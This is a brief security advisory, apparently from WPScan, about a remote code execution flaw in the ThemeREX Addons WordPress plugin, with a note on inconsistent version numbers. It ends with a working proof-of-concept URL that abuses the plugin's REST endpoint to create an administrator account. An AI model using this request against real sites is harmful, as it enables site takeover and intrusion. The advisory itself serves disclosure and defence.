ThemeREX Addons - Remote Code Execution

“This flaw allows attackers to remotely execute code on a site with the plugin installed, including the ability to execute code that can inject administrative user accounts.” Note (WPScanTeam): There are major version inconsistencies in the trx_addons shipped with the affected themes. As a result, a common the fixed in version can not be set so far and we would recommend to see the posts from ThemeRex and Wordfence in the references below for the versions.

PoC

https://[domain]/wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role;=administrator&user;_login=admin&user;_pass=admin